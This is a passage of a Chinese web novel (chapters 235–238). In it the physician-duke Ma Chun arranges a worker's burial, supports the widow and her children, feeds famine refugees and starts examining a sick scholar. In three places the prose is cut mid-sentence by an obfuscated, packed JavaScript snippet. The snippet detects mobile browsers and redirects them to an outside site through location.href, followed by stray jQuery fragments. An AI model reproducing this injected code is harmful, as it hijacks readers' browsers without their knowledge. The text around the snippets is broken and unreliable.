有的若有所思,频频点头。
有的眼中闪烁着复杂的光芒,看着老李出神。
马淳不再多言。
有些道理,已经种下。
他转身,轻轻摆了下手。
“都先出去吧。”他的目光落在老李脸上,“让我和他……安静待会儿。”
小六立刻会意。
他深吸一口气,对那几个还沉浸在悲痛中无法动弹的工友低声道:“几位大哥,先随我来外面吧,让……让我师父……”
他没说下去,只是做了个请的手势。
工友们这才像回过神。
他们依依不舍地、最后用力看了老李几眼。
那个年长工友甚至伸出手,想再去碰碰他冰冷僵硬的脸颊,最终还是收了回来,重重抹了把脸上的泪水鼻涕。
咬着牙,对马淳深深鞠了一躬。
没有言语。
那深深的弯下的脊梁,已是千言万语。
几个人互相搀扶着,踉跄地走出内室,每一步都沉重无比……
第235章兄弟!安心去!你的家人我照顾!
马淳站在矮榻前,轻轻拜了一拜。
矮榻上老李那张彻底失去生气的脸,凝固着最后的笑意。
那笑容像刀子,戳在人心上,却不见丝毫狰狞,唯有沉重到极点的疲惫,终于彻底卸下。
没有惊惧,没有嫌恶。
马淳的目光只有满满的尊重。
这是一个用血肉、用骨髓、用最后一丝元阳支撑起全家天穹的汉子,最终被那重担活活压塌了脊梁。
他倒下时,有人替他接住了这份沉重。
这份担当,值得他马淳这一拜。
便在这时,传来极轻的脚步声。
医馆本就安静的内室,气温似乎又低了几度。
张记杠房的人来了。
依旧是那一身洗得发白的粗布短褂,束着玄色腰带,悄无声息地出现在门边。
他们像融入了角落里堆积的药材影子,无声无息,却又无法被忽略。
生与死的渡口,他们是那沉默的摆渡人。
当先一人微微垂着眼,目光在老李那带着解脱笑容的脸上轻轻一落,便垂得更低些。
没有多余的神情,只有见过太多生离死别的的平静。
掌柜的也在其中。
“国公爷,”掌柜的问道,“如何安排?”
马淳没回头,依旧看着老李。
“最好的。”他的声音平静,“他是条汉子,真正的汉子。我送他走最后一程,体体面面。钱,我出。”
掌柜的抬起头,看了马淳挺拔的背影一眼。
“国公爷您是菩萨心肠。”他缓缓开口,“可这天下……如老李这般的汉子,何止千万?救得了一个,救得了一地,救得了这泱泱众生吗?”
他像是在问马淳,又像是在问这世道。
马淳缓缓转过身。
“看到了,就要救。”
“眼前的人尚且不救,谈什么众生?”
掌柜的沉默。
张记伙计们默契地无声散开。
众人不再说话。
他们取出早已备好的、浆洗得干净的粗布。
动作轻柔而精准地包裹那已经冰冷僵硬的身躯。
如同对待一件易碎的瓷器。
这是他们刻入骨子里的手艺,也是他们对生死最大的敬意。
最后掌柜的微微躬身,带着伙计们抬起了担架。
马淳对小六和当值的几个得力学徒颔首。
不需要言语,小六已明白师父心意。
“跟上。”
几个工友红肿着眼,也连忙跟上。
一行人走出了温暖的医馆。
外面寒得刺骨。
张记的骡车等在门外,车板上铺着厚厚一层干净的稻草。
众人合力,将那裹在白布中的身躯轻缓放上车板。
张记的伙计默不作声地将草盖好,坐上车辕。
鞭梢轻扬。
骡蹄踏在铺满雪的青石板上,发出沉闷的“哒、哒”声。
一行人默默跟在车后。
没有哭声。
通往小李庄的土路白茫茫一片,辨不清道。
深一脚,浅一脚。
走了不知多久,夜幕降临时,前方显出几户散落的低矮土房轮廓,黑黢黢地戳在雪地里。
几盏油灯昏黄的光,像风中残烛。
村西头第三户。
门前那棵歪脖子枣树。
骡车在篱笆院外停下。
张记伙计没有立刻动作。
院内响起一阵慌乱的脚步,伴随着压抑的惊疑。
木门猛地被拉开。
昏黄的灯光映着门前几张惊慌失措的小脸,最大的不过十岁出头,最小的只到人膝盖高,还懵懂地吮着手指。
几个孩子身上是粗布单袄,冻得嘴唇发青。
“爹?!”最大的男孩看清骡车上那裹着白布的轮廓,还有门口那几个熟悉又狼狈的工友叔叔,稚嫩的声音陡然拔高,带着哭腔,刺破夜空。
工友们再也忍不住,泪水混着雪水流下。
一个中年女人跟着冲到门口。
她身形单薄,同样穿着洗得发白的旧衣,头发只用一根木簪潦草挽着。
看清骡车上情形的瞬间,
女人脸色“唰”地惨白如纸,身体狠狠晃了一下,紧紧扒住了门框。
巨大的悲恸如同潮水,瞬间淹没了这小小的农家院落。
哭声撕裂了雪夜的宁静。
五个孩子,大的扑到车板上拼命摇晃“爹爹”,小的被哥哥姐姐的哭声吓住,扯着嗓子嚎哭起来。
女人死死扒着门框。
她没有像孩子一样哭喊出声,只是牙齿深深咬住了下唇,很快渗出血丝,眼泪汹涌而下。
她看着五个哭成一团的孩子,看着车上丈夫凝固在“笑容”里的脸,绝望与某种钢铁般的东西在激烈碰撞。
最终,钢铁占了上风。
马淳静静看着这个突然看到丈夫去世,却依旧坚强的女人。
内心也被触动。
“进屋……把弟弟妹妹……带进屋去……”女人终于开口。
大儿子泪眼模糊地抬头看她,悲戚而茫然。
“听话!别冻着!”女人的声音拔高了一丝,带着前所未有的严厉。
几个小的被母亲从未有过的语气吓住,抽抽噎噎地停了。
最大男孩似乎意识到什么,艰难地抱起最小的妹妹,又拉着其他弟妹,一步三回头,泣不成声地挪回冰冷的屋里。
哭声小了许多,却更煎熬。
张记的掌柜默默对马淳拱手。
马淳点头。
张记伙计们这才轻车熟路地卸下担架,四人各执白布一角,稳稳地将老李的遗体抬下。
迈过简陋的门槛。
堂屋里,一方铺着旧席子的门板早已备好。
这大约是所有贫苦人家唯一能置办的“停灵”之处。
伙计们将老李的遗体轻轻放上门板。
动作稳定而无声。
如同他们每一次沉默的渡送。
屋里弥漫着一股草药混着久病之人特有的浊气。
里屋传来压抑的、断断续续的咳嗽声。
马淳示意小六和学徒:“去看看老太太。”
一位头发花白、满脸褶子的老妇人,倚靠在里屋炕头。
她身上的旧棉袄打了好几个补丁,但收拾得还算干净。
昏暗的油灯下,她浑浊的眼睛望着堂屋方向,听着孙子孙女们的哭声被儿媳妇强压下去,听着那沉甸甸的脚步声停在堂屋……
老人没有呼天抢地,眼睛直直地盯着黑黢黢的屋顶角落,没了神采。
小六上前,小心翼翼地搭上老妇人的脉搏。
脉搏沉涩微细,有郁结之象。
“师父,老太太这是长久忧思伤脾,加上肝气郁结,气血运行不畅。还有些旧年的风寒痹症。”小六低声回禀。
马淳点头。
走到炕边,温和地看向老人。
“大娘。”他声音放得很轻。
老妇人眼珠微微动了动,迟钝地转向声音来源。
看到马淳一身华贵的衣袍,看到身后跟着的年轻学徒,老人的嘴唇嗫嚅了几下,似乎想说什么,却发不出声。
这时,刚安顿好孩子、眼睛还红肿得像桃子的媳妇端着一碗温水走了进来。
脸上泪痕未干,神情却已带上了持家妇人特有的疲惫与坚韧。
她把水碗轻轻放到炕沿。
对马淳福了一礼:“劳烦大夫救我们家柱子……还让您破费……”
声音带着挥之不去的悲伤,却已尽量平稳。
老太太看到儿媳妇进来,死死抓着单薄的被角,“我……我不能死……”
老人看着儿子媳妇,又像是喃喃自语,“不能死啊……家里这么些张嘴……你一个妇道人家,拉扯五个小的……怎么活……”
她的话像钝刀子,割在自己儿媳的心上,也割在马淳的心上。
“柱子没了,娘不能再连累你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058743|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……拖累孩子啊……娘得多活几年……哪怕给孩子们缝缝补补……递口水也是好的……”老人的眼泪流得更凶,声音哽咽而断断续续。
“娘!”媳妇一把抓住婆婆冰冷枯瘦的手,用力摇头,眼泪再次控制不住地涌出,“您莫要说这些!您好好活着,就是帮了我和孩子们大忙了!
“您活着,家里就还有老人在!
“孩子们……孩子们心里还有个根!”
媳妇看着婆婆,没有怨怼,只有疲惫深处迸发出的巨大韧性。
接着她低声对婆婆道:“娘,这位就是城里的大夫,国公爷马老爷。我们家柱子临走时,马老爷答应过他,要照顾我们孤儿寡母……”
媳妇的话让老人那双浑浊木然的眼珠,猛地颤动了一下。
难以置信地看向马淳,又颤巍巍地转向儿媳。
“国公爷?……应承……应承了柱子?”她挣扎着似乎想坐起来,又无力地跌回去。
马淳俯身。“大娘,安心养着。我说了,答应过柱子兄弟的。”
“您安心养身子。您的腿脚,我给您看。孩子们读书,衣食,有我。”
浑浊的老泪瞬间从老人深陷的眼窝里涌了出来。
没有哭声,只有眼泪在无声奔流。
那是一种积压太久太久的悲苦,终于寻到了一个微弱的出口。
“以后有马老爷帮衬,咱们娘几个,总能熬出头……柱子走了,可马老爷给担着了,咱们不能辜负了他这份心,更不能让柱子走得不踏实!”
儿媳妇和老太太这才互相看着对方,眼泪双双往下落。
马淳静静看着这一幕。
没有歇斯底里的呼号。
只有那种打落牙齿和血吞的隐忍,和对活下去近乎刻入骨髓的执拗。
婆婆想着不能死,想着用风烛残年的余热再为儿孙挡一点点风霜。
媳妇咬着牙挺直脊梁,硬生生把翻江倒海的悲痛压进心底深处,把眼泪憋回去,成为年幼孩子的支柱。
这一家子,只是时运不济,被甩进了苦难的泥潭。
但这份根植于血脉里的韧性,对责任的担当,彼此间的守望,如同**中仍努力昂头的野草。
让人沉重,更让人由衷生出敬意。
“小六,”马淳的声音打破了压抑的沉寂,“开方。老太太是‘痹证’日久,肝肾不足,气血两亏,又添了忧思郁结。开温经散寒、祛风除湿、强筋壮骨、疏肝解郁的路子。
“药要好,剂量到位。”
他看向几个学徒。“你们留下,搭把手。帮着张记的伙计料理后事,有什么力气活,你们顶上。看顾好孩子们和老小的饮食。”
“工友们,”他又转向那几个跟着送人回来、此刻站在墙角沉默流泪的汉子,“麻烦你们几位,这几日轮换着帮忙守个夜,看顾一下灵堂。银钱不会短了各位。”
没人应答。
学徒、工友们都只是重重地点头。
悲伤是底色,但在这底色之上,一种东西正在被传递——承诺,分担。
张记的伙计开始在堂屋安静地布置灵堂。
几卷白纸,几缕香烛,是他们对逝者最后也是最朴素庄重的安排。
媳妇默默转身,去为众人烧水。
老太太在炕上,望着黑暗的角落,不再流泪,身体也不再发抖。
马淳最后望了一眼门板上那安静的、盖着白布的身影。
他默默地对着那张平静的脸又深施一礼。
然后转身。
回去的路上,比来时更沉、更冷。
马淳沉默地走着。
这世间的苦难太多,像风雪一样无边无际。
有些病,他倾尽所学也无力回天。
有些人,活着本身就是在无边的苦海挣扎。
但有些事,看到了,就要尽力。
如那掌柜所言,也许杯水车薪。
可他,终究是马淳……
第236章有些人只是运气不好,不是无能
清晨的医馆刚开门,几个学徒带着一身寒气回来了。
他们脸上还残留着风霜与疲惫,但神情却多了几分沉静。
为首的学徒掸了掸身上的尘土,走到正在整理药材的马淳面前,拱手道:“师父,老李哥的丧事办妥了。”
马淳手上动作没停,只“嗯”了一声。
那学徒接着说下去,“张记杠房的人很尽心。按您吩咐,选了上好的杉木棺,四寸板子,厚实,榫卯严丝合缝,刷了三道桐油三遍大漆,里子铺了新的蓝布,看着就体面。他们说这种木头耐潮,在地底下也顶得住年头。”
他顿了顿,似乎在回忆当时的场面:“下葬在东城野杏林坡那块熟地,真向阳,没风。
“张记的伙计们从头到尾利索得很,规矩也周全,挖坑、落棺、填土、垒坟头、竖碑,一丝不乱。
“纸马香烛,该有的全备齐了,放得恭敬。
“没有虚抬价格,账目清楚,都按规矩走,风风光光的。”
另一个学徒低声补充:“老李哥躺在那棺里,虽是一身新做的靛青棉布寿衣,那脸上的笑还在似的……他家里人看着,心里头总归……好受一点罢。”
马淳听着,手里捻药材的动作放缓了些。
那些杉木、桐油、大漆、蓝布衬里的描述,都在他心里过了一遍。
张记这份“规矩”里的尊重,他懂。
“辛苦你们了。”他最终只说了这一句。
这时,小六也从外头走了进来,脸色比前两日松快了些。
“师父,”小六汇报道,“老李家都安置了。先垫了三个月的嚼谷钱粮,够他们缓口气。
“老太太的药也按时送去了,六味地黄丸加了疏肝解郁的香附、川楝子,先吃着看看。
“五兄妹的新棉袄这两天就请人做,不会冻着。”
小六犹豫了一下,才又道:“他家老大……就是十岁那个大娃子,这两天跟在我后头,支支吾吾的。
“昨儿收殓完回来,他扯着我袖子说……他不想在家吃闲饭,想跟他爹一样干活,又说……想学本事。”
小六抬头看马淳:“他……他想来咱这儿,跟着学点东西。哪怕打杂,劈柴烧火都行。说……说不能光靠着咱的接济,得学着立起来,替他爹照顾弟妹和奶奶。”
马淳抬眼,目光越过小六,仿佛看到了那个在雪夜门口强撑着的单薄女人,和那个在屋里无声流泪的老太太。
“让他来。”马淳没有半点迟疑,“医馆不养闲人,但也欢迎肯学、肯吃苦的孩子。从明日开始,先跟在你后面,认药斗子,学做杂事。告诉他,学医不易,吃苦在前。”
“是!师父!”小六精神一振,脸上多了光彩。
马淳站起身,慢慢踱到窗边。
他看着外面灰扑扑的街道,行人匆匆,各自奔忙。
“这世间啊……”他话音里带着沉甸甸的感慨,“有许多人,生来就没有运道。没有良田傍身,没有家底铺路。
“他们有的,只是一把力气,一副要硬扛的骨头。
“他们对上,想侍奉双亲尽孝道;对下,想拉扯儿女成人;对内,想让结发妻子不受冻馁之苦。”
他顿了顿,眼前的景象似乎模糊了,又清晰起来。
不只是老李那张枯槁含笑的脸,还有许多模糊的影子重叠上来。
他回忆起在现代医院看到的场景。
在冰冷的医院走廊,在充斥着绝望气息的急诊室门口,他见过的无数张平凡到极易被忽略的面孔。
“他们起早贪黑,挣的是血汗钱,是力气钱。
“汗珠子砸到地上能碎成八瓣。可即便如此拼命,也常常抵不过一场病,一场灾,或是老天爷稍不如意的拨弄。
“日子依旧艰难,依旧在温饱线上挣扎。”
马淳的声音愈发低沉,带着敬意与悲悯:“你说他们没用吗?不。他们没有惊天动地的才能,或许也说不出锦绣文章。
“但他们身上的那份责任,那份韧劲,那份‘天塌下来我先顶着’的骨气……就足以称一声‘汉子’!是真正能扛事、能咬牙挺住的汉子!老李,就是这样的汉子。”
学徒们都停下了手中的活,静静地听着。
马淳没有再说下去,只是负手站了许久,任那初升的阳光落在肩头。
晚间,回到灯烛通明的徐国公府,暖意扑面而来。
徐妙云正在灯下看着一卷书,见马淳带着一身寒气回来,脸色是少见的沉重疲惫,忙起身迎他,亲手替他解开披风。
“怎么脸色这样不好?今日医馆太劳神?”她关切地问。
马淳在温暖的熏炉旁坐下,喝了几口徐妙云递上的热茶,驱散了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058744|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上的寒气,才长长吁出一口气。
他将这两日发生在老李身上的一切,医馆里那无力回天的诊治,自己临别时的诺言,张记杠房伙计的沉默送行,以及后来学徒和小六去安葬、安置他家小的情形,包括那十岁大娃想来学医的事,都细细地说与妻子听。
他讲得平实,没有太多修饰,但字字句句都透着沉重和那份发自内心的触动。
徐妙云一直静静听着,没有插话,只是偶尔递过一盏新茶。
听到动情处,她的眼睫微微颤动,握着茶杯的手指也下意识地收紧。
待马淳说完,她放下茶杯,伸出手轻轻覆在马淳放在膝头的手背上。
“你做得对,夫君。”她的声音温柔而坚定,“应承下那份担子,允那孩子来学医,都极好。
“人命关天,医者不能救尚属天定,但能让逝者有尊严地走,让生者有尊严地活,已是莫大的慈悲。
“老李那样的汉子,他最后的安心,必是看到妻儿老母有人托付。这份托付,我们担得起,也该担。”
马淳反手握住妻子的手。
徐妙云的目光扫过屋内精致的陈设,温暖的炭火,以及桌上温热的羹汤,最后落回马淳脸上,眼中带着深沉的感慨。
“听夫君今日所言,看看这府中安乐……再想想那在风雪中挣扎着埋葬儿子、撑着病体熬日子的老妇人,想想那咬碎了牙也要守着五个小的妇道人家,还有那小小年纪就想出来承担的大娃……”
她轻轻喟叹一声:“一席之地可避风雪,一餐热饭可慰饥肠,儿女绕膝承欢,家人安康团圆……这些我们**以为常,觉得理应如此的平淡安稳,对老李家那样的人来说,却是耗尽气力也未必能求到的奢望。”
她顿了一顿,看着马淳的眼睛,一字一句道:“这世间疾苦如海,我们不过是侥幸登上了平稳的一叶小舟。
“夫君此举,是在渡人。也让我们更知眼前日子的可贵,当珍惜当下,感恩所得,更要时时存一份济世之心。
“这安稳,得来不易,守之更难,须臾怠慢不得。”
灯下,夫妻二人相依而坐,十指紧扣。
无需再多言语,那些关于生死的沉重、关于贫穷的无奈、关于责任的坚守,最终都化作心照不宣的对“家”与“安稳”的珍视……
第237章人这一生,怎么能……这么苦?
马淳靠坐在徐国公府的暖车厢里,厚实的帘幕隔绝了部分严寒,却挡不住车外那一片灰败惨淡的光景。
暖炉的炭火烘烤着车厢,与外面的冰天雪地形成鲜明对比。
但这种暖意,此刻却无法熨帖他的心。
老李那双含笑闭上的眼睛,那个在死亡尽头才得以解脱的笑容,如同刻在马车内厢的阴影,挥之不去。
他从京城回返小青村医馆。
距离并不遥远,他却感觉心头压着千钧巨石。
轿帘偶尔被寒风掀开一角。
倏地,一片异样的景象撞入眼帘。
官道两旁,积雪未融的野地里,不知何时出现了众多或蹲或躺的人影。
像是溃堤的蚁群,衣衫褴褛,面如黄土。
这些人不是寻常乞丐。
他们拖家带口,骨瘦如柴的老人紧紧抱着瑟瑟发抖的幼儿。
妇人麻木地拍打着孩子冻僵的肢体。
几堆微弱的篝火在寒风中摇曳,仿佛下一秒就会被吹熄。
马淳的目光扫过一张张木然、冻伤、饥饿的脸。
那目光里有惊愕,有沉重。
又苦又涩的味道,在胸腔里弥漫开来。
他轻轻敲了敲车厢壁。
赶车的家仆立刻靠过来。“国公爷?”
“前面怎么又多了这么多灾民?”
家仆伸头张望了一下,压低了声音回话,“爷您常在京里府里,怕是不知道。小的听昨个在城门口听那些议论,说是陕甘那边……遭了大殃了。
“大雪封山压塌了房,冻死饿死好些人不说,紧接着又闹了大瘟。
“整个庄子整个庄子的逃。朝廷运粮的队伍,堵在潼关那边进不去……”
家仆的声音也透着一股寒意,是感同身受,也带着后怕,“这是……往咱们应天方向涌来了……”
陕甘……灾民……瘟疫……
几个字眼像沉重的冰坨子。
他看着车外一张张在生死线上挣扎的脸,看到了命运残酷而精准的践踏。
老李是累死,眼前这些人,是被老天爷逼到了绝境。
医者的本能翻涌。
他下意识地想脱口而出自己是大夫,让他们去小青村医馆。
但这念头瞬间便被理智按了回去,死死掐灭在萌芽里。
他太清楚后果。
自己一个小小的医馆,即使加上太医院派来的十个学徒,在如此汹涌的灾民潮面前,无异于杯水车薪。
一旦开了口子,消息传开……不,不用传开,只需眼前这几十上百人奔涌过去,医馆就会被瞬间淹没。
到时,不仅他自己会被逼到一个无法收场的境地,更会耗尽所有资源,反而谁也救不了。
他的医术再高明,终究救不了天灾,救不了这如蝗虫过境般的赤地千里。
深深的无力感,如同冰冷的铁箍,缠绕上来,越收越紧。
沉默,在温暖的车厢里蔓延。
过了许久,他才再次开口,“去……买些炊饼。有多少买多少。分给他们吧。”
他不敢露面,不敢表明身份,只能做这点最卑微、最无用的施舍。
马车在路旁稍停。
家仆跳下车,跑向官道边一个同样惊恐看着灾民,瑟瑟发抖的小贩。
没买他的炊饼车,只将他刚蒸出来的一屉屉粗粮饼子尽数买下。
家仆抱着装满饼子的竹筐,走向灾民。
灾民们眼中先是惊惧戒备,随即闻到麦香,爆发出难以置信的狂喜和一丝怀疑。
家仆默默地将饼子分发下去,不发一言,动作麻利而谨慎。
饼子拿到手的灾民,顾不得烫,便塞给怀中哭闹的孩子,或直接塞进自己嘴里大口吞咽。
没人问是谁给的。
在这生死边缘,一点食物就是天大的恩赐,谁还有余力追问来处?
马淳坐在车内,透过帘幕缝隙,默默看着这一切。
看着那些因一口粗饼而短暂活泛起来的表情,看着那些依旧麻木绝望的双眼。
看着家仆分完后迅速上车。
看着车子重新启动,抛下那片绝望之地,朝着小青村的方向驶去。
暖炉烧得车厢里有些闷热,他却觉得彻骨的寒意正从心底往外渗。
大明!
即便开国已经十几年,可天下还是这样苦。
兴百姓苦,亡百姓苦!
为什么苦的都是百姓?
在现代社会,很多人抱怨说社会不公。
那是他们没来古代。
来了这里,他们可能连抱怨的力气都没有。
老李是被生活的重担压垮的。
眼前这些人,却是被老天爷无情地从栖身之所驱逐出来,用灾荒和瘟疫碾碎了最后一丝活路。
人这一生,怎么能……这么苦?
即便他自认已看透生死,面对如此赤裸的人间疾苦,那份难以释怀的沉重,依旧沉甸甸地压在心头,压得他喘不过气。
马车终于进了小青村熟悉的地界。
村口的积雪打扫得还算干净,几缕炊烟在冰冷的空气里笔直升起,带着一种劫后余生般的安稳气息。
医馆门口却有些热闹。
不似以往求医问药时那种焦灼的喧嚣,更像是一种……围观与**。
几个学徒眼尖,看到国公爷的车驾,连忙迎了出来。“师父回来了!”
马淳掀帘下车,他深深吸了口气,压下心头那翻涌的酸涩,努力让自己恢复医馆主人的常态。
学徒们脸上都带着些振奋,小六更是快步上前,目光里有些急切,也藏着感慨:“师父,您可算回来了!”
他压低了声音,带着几分快意:“都按您的吩咐办妥了!”
马淳立刻明白他说的是什么事。
在他离府赶回之前,透过车窗看到路边灾民惨状时,便已然在心中定下此事。
他微微颔首,目光扫过在场的学徒们,包括那几个年轻的身影。
这十人,都是从太医院抽调来小青村医馆轮值历练,增长见识的。
“就以你们十个为主。再加调两个馆里的老伙计帮衬。”马淳吩咐起来,“所需米粮药材,回头去找账房,从徐国公府内账支取。一应开支,记府里的帐。”
他强调道:“对外,就用太医院的名义,去城门口设棚施粥舍药。”
年轻的太医学徒们闻言,脸上均露出不同程度的惊讶,随即便是肃然。
他们知道这意味着什么。
太医院挂名施赈,是体面,也是责任,压力自然也在太医院那边。
而徐国公自掏腰包,承担所有开销,却把官面的名声给了太医署。
这举动,既是担当,也是对他们这些“借调”人员的变相保护。
一个圆脸年轻的太医学徒忍不住低声询问:“国……马院判,如此善举,为何不……”
他想问为何不名正言顺地以国公府或医馆名义,这样民心自然归附。
马淳看了他一眼,简单回了一句:“树大招风。”
这四个字足以点明所有利害关系。
国公爷私下施恩赈济是菩萨心肠,国公爷广开医馆接纳灾民便是“邀买民心”,徒增不必要的麻烦。
让名义上的太医院出面,一切便顺理成章,阻力最小,效果反而可能最好。
最重要的是,能真正,持续地帮助到那些灾民,而不会因过度招摇导致不可控局面。
至于花费,他马淳还真不缺这点米粮钱。
小六站在一旁,听得心潮澎湃。
他看着师父的侧脸,只觉得那身影在冬日微薄的阳光下,散发着难以言喻的光辉。
不是权势的光芒,而是一种厚重如大地、深沉如渊海的东西。
菩萨渡人,也不过如此了吧?
师父胸中揣着的,是比普度众生的菩萨更具体,更艰难也更无畏的担当!
是在这混沌浊世里劈开一线生机的力量!
这份恩德深重,百姓不知情,他小六记在心里!
“师父放心!六子都记下了!”小六用力点头。
马淳没再多言,对众人点点头,便准备抬步向医馆内走去。
此时,原本在医馆门口围拢着的那些村民,似乎也终于鼓起勇气,集体涌了上来。
为首的正是那花白胡须,精神还算矍铄的小青村里正。
里正带着满面红光和一帮村里有头脸的老人,商户,齐齐抱拳作揖。
“国公爷!马老爷!”里正的声音洪亮,带
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063477|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着掩饰不住的感激和欣喜。
马淳停下脚步,有些诧异地看着他们这一群。
之前他们不知道自己的身份的时候,叫小马大夫。
可知道了自己的身份之后,就叫马老爷。
他无力去阻止什么。
只是有那么一瞬理解了鲁迅先生笔下的闰土。
儿时懵懂,才不计较身份。
一旦长大,明白了阶级之差。
那份谨小慎微就会立刻涌上来。
这不是事故!
是害怕不小心得罪之后,迎来承受不了的报复。
小人物的生存,往往就是这么的现实。
马淳也不去纠正他们什么,依旧很平静,“乡亲们有事?”
里正连忙上前一步,激动地说:“没事没事!就是大伙儿,我们整个小青村的男女老少,感念国公爷的恩德!特意来跟您道声谢!”
他环视身后众人,大家脸上都洋溢着淳朴真诚的笑容。
“您这医馆开在咱们小青村,真是咱们几辈子修来的福气啊!”
他身后一个开烧饼铺的汉子抢着嚷道:“对!国公爷!自从您开了这医馆,我们村里可大不一样了!”
他的声音充满了烟火气和兴奋,“不说别的,就我这小小的烧饼炉子,生意都好了一大截!以前一天卖不了多少,现在来瞧病的人,还有医馆里的大夫学徒们,都喜欢买我这烧饼,忙的时候都来不及和面!”
他说着还比划起来,惹得众人一阵善意的哄笑。
旁边经营着一家小小脚店的掌柜也忙不迭地附和:“何止呢!我这巴掌大的脚店,以前十天半拉月没几个客人打尖投宿。现在呢?送病人来的、探病的、还有从远处跑来求医的客官,时常住满我那两间土炕房!”
他笑得见牙不见眼。“国公爷您不知道,这快过年了,往年我这店里早就封门了,今年竟还有点忙!手里宽裕了些,总算给家里添了件新袄子!”
一个白发老妪,拄着拐杖,也颤巍巍地开口,“马老爷是活菩萨啊……我这把老骨头,三天两头儿病,多亏您开在这村里,馆里的徐夫人,**都不要我老婆子的钱……
“前些日子腿疼得走不了道儿,也是馆里的学徒小伙子帮忙给送回来的……”
众人七嘴八舌,虽然说得有些乱,但那份真诚的感激和医馆实实在在给这个偏僻村落带来的改变,却无比清晰地传递开来。
药铺老板生意好了。
裁缝铺多了做衣服的。
连村口的杂货郎货郎担里的针头线脑,零嘴玩意儿都比往年卖得快。
里正最后总结,声音洪亮,带着一股自豪:“国公爷!大家伙的意思就是,咱们小青村,托了您的福,沾了这医馆的光!
“整个村子都像是在过上好日子的道儿上了!
“娃娃们病少了,壮劳力出工不用担心家里病人没人看,大伙手里的钱也活泛了些,这都是托您的大德啊!”
村民们纷纷附和,不住地向马淳作揖行礼。
马淳静静地听着。
听着这些最底层老百姓最朴实无华的话语。
听着烧饼摊的旺火,听着脚店的住客盈门,听着老妪能被免费送诊,听着那微不足道的“添件新袄”的满足……
医馆的作用,不仅仅在治病救人。
它在这片土地上扎了根,就像一棵带来生机的大树。
树荫下的小草,也因此得了滋养,焕发出新的活力。
那郁结于胸的闷气,那因灾民惨状、因无力回天、因人间疾苦而堆积的沉重冰霜……
似乎在这一刻,被这扑面而来、带着烟火温度的真挚感激,稍稍融化了一些。
一丝暖流悄悄潜入心田。
他看着眼前一张张真诚而朴实的笑脸,心中那口难以释怀的浊气,缓缓地地吐了出来。
他难得的笑了一声。
对里正,对村民们轻轻点了点头,“大家安好就好。”
转身步入医馆。
外面的喧嚣祝福还在延续。
而他的心,在经历了雪路的沉重与悲悯,回到这小小的起点后。
在这真实的,微小的美好回馈里,终于寻得了几分难得的安顿与踏实……
第238章遗传病!**!休书!人间……
冬日的雪并未停歇。
这天,门廊垂着的厚重棉帘被掀起一道缝,两个相互搀扶的身影走了进来。
“大夫!求您救命!”女子的呼喊声先传来。
小六和学徒们赶紧上前去搀扶。
男人不过二十三四年纪,一身半旧的青衿洗得泛白,面色是病态的苍白,唇色隐隐透着不祥的绀紫。
他呼吸费力,每一次吸气都伴随着胸腔深处微弱的哨音,仿佛拉动破损的风箱。
被他小心扶着的年轻女子大约二十岁,亦是形容憔悴,脸颊被寒风割出细密的红痕,低垂着头。
值夜学徒连忙引他们入内,带到诊室的炉火旁驱寒。
马淳从后院走来,目光掠过那男子时,脚步微顿。
那是一种对细微病征的本能警惕。
“坐。”马淳示意他们坐到近火的位置。
年轻妻子小心地扶着丈夫落座,自己才挨着半边椅子坐下,垂目不语。
马淳伸手诊脉。
指下的搏动让马淳的心缓缓下沉。
脉象沉细欲绝,重按方得,并非痨病那种阴虚火旺的浮洪或细数,而是元气极度衰竭的征象。
仔细体察,那微弱的脉搏在深处有不规则滞涩感,如同精密的机括齿轮突然被卡断,再勉力接续运转,每一次停顿都带着机械般的生硬与艰难。
更致命的是,指下触及的皮肤冰凉,腕骨却凸出得惊人,显示着持续的能量消耗与筋肉消耗。
“多久了?”马淳抬眼看向男子。
书生喘匀了几口气,声音又低又哑,“回……回大夫,去岁秋后……便觉周身乏力,稍动即喘,入冬后……咳得愈发厉害,近日……更觉气难接续,躺下尤甚……”
马淳示意他张开嘴,查看舌象。
舌体淡紫,缺乏健康红润的血色,舌苔薄得几乎不见,舌面上却隐隐可见数个紫暗瘀点。
再翻看指甲颜色,也是黯淡的紫绀。仔细听他咳嗽,声音闷浊断续,并无大量脓痰的翻涌声。
马淳的心更沉几分,这绝非常见的肺痈或痰饮之患。
他示意男子躺到诊榻上,进行胸腹部的按诊。
手指精准按压胸肋之间几处俞穴,指下并无明显的痞块或剧烈压痛。
但叩击胸壁,两侧传出沉闷,边界模糊不清的回音,似有液体遮蔽,叩击心前区时却可触及异常扩大的心界。
腹诊中,男子上腹部有饱满不适感,轻按即诉胀闷。
